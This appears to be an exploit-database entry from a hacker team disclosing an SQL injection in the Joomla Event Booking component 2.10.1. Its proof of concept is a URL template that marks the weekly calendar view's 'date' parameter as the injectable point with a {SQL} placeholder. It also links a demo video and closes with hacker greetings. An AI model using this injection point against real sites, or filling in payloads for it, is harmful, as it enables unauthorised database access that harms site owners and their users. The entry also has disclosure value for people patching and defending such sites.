Joomla! Component Event Booking 2.10.1 - SQL Injection

Author: Persian Hack Team
type: webapps
platform: php
port: 80.0
date_added: 2016-09-26 
date_updated: 2016-11-16 
verified: 0 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

######################
# Exploit Title : Joomla Event Booking Component - SQL Injection
# Exploit Author :  Persian Hack Team
# Homepage : http://persian-team.ir
# Vendor Homepage : http://extensions.joomla.org/extension/event-booking
# Category [ Webapps ]
# Tested on [ Win ]
# Version : 2.10.1
# Date 2016/09/25
######################
#
# PoC
#    => Sql Injection :
# Date Parameter Vulnerable To SQL
# Demo :
# http://server/index.php?option=com_eventbooking&view=calendar&layout=weekly&date={SQL}&Itemid=354
#
# Video : http://persian-team.ir/showthread.php?tid=160&pid=291
######################
# Discovered by :  Mojtaba MobhaM
# B3li3v3 M3 I will n3v3r St0p
# Greetz : T3NZOG4N & FireKernel & Dr.Askarzade & Masood Ostad & Dr.Koorangi &  Milad Hacking & JOK3R $ Mr_Mask_Black And All Persian Hack Team Members
######################